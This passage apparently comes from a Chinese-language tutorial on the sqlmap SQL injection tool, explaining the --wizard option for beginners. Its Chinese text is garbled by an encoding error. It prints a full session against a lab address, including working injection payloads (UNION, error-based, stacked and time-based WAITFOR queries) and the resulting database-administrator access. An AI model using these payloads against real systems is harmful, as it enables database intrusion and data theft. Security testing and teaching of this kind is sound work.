[xx:xx:24] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other potential injection technique found
[xx:xx:24] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[xx:xx:24] [INFO] target URL appears to have 3 columns in query
[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
[...]
初級(jí)用戶向?qū)?shù)
參數(shù):--wizard 面向初級(jí)用戶的參數(shù),可以一步一步教你如何輸入針對(duì)目標(biāo)注入。
$ python sqlmap.py --wizard
sqlmap/1.0-dev-2defc30 - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 11:25:26
Please enter full target URL (-u): http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1
POST data (--data) [Enter for None]:
Injection difficulty (--level/--risk). Please choose:
[1] Normal (default)
[2] Medium
[3] Hard
> 1
Enumeration (--banner/--current-user/etc). Please choose:
[1] Basic (default)
[2] Smart
[3] All
> 1
sqlmap is running, please wait..
heuristic (parsing) test showed that the back-end DBMS could be 'Microsoft SQL Server'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
do you want to include all tests for 'Microsoft SQL Server' extending provided level (1) and risk (1)? [Y/n] Y
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection points with a total of 25 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 2986=2986
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: id=1 AND 4847=CONVERT(INT,(CHAR(58) CHAR(118) CHAR(114) CHAR(100) CHAR(58) (SELECT (CASE WHEN (4847=4847) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR(111) CHAR(109) CHAR(113) CHAR(58)))
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: id=1 UNION ALL SELECT NULL,NULL,CHAR(58) CHAR(118) CHAR(114) CHAR(100) CHAR(58) CHAR(70) CHAR(79) CHAR(118) CHAR(106) CHAR(87) CHAR(101) CHAR(119) CHAR(115) CHAR(114) CHAR(77) CHAR(58) CHAR(111) CHAR(109) CHAR(113) CHAR(58)--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: id=1; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: id=1 WAITFOR DELAY '0:0:5'--
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: id=(SELECT CHAR(58) CHAR(118) CHAR(114) CHAR(100) CHAR(58) (SELECT (CASE WHEN (6382=6382) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR(111) CHAR(109) CHAR(113) CHAR(58))
---
web server operating system: Windows XP
web application technology: ASP, Microsoft IIS 5.1
back-end DBMS operating system: Windows XP Service Pack 2
back-end DBMS: Microsoft SQL Server 2005
banner:
---
Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)
Oct 14 2005 00:33:37
Copyright (c) 1988-2005 Microsoft Corporation
Express Edition on Windows NT 5.1 (Build 2600: Service Pack 2)
---
current user:??? 'sa'
current database:??? 'testdb'
current user is DBA:??? True
[*] shutting down at 11:25:52
轉(zhuǎn)載自:http://drops.wooyun.org/tips/143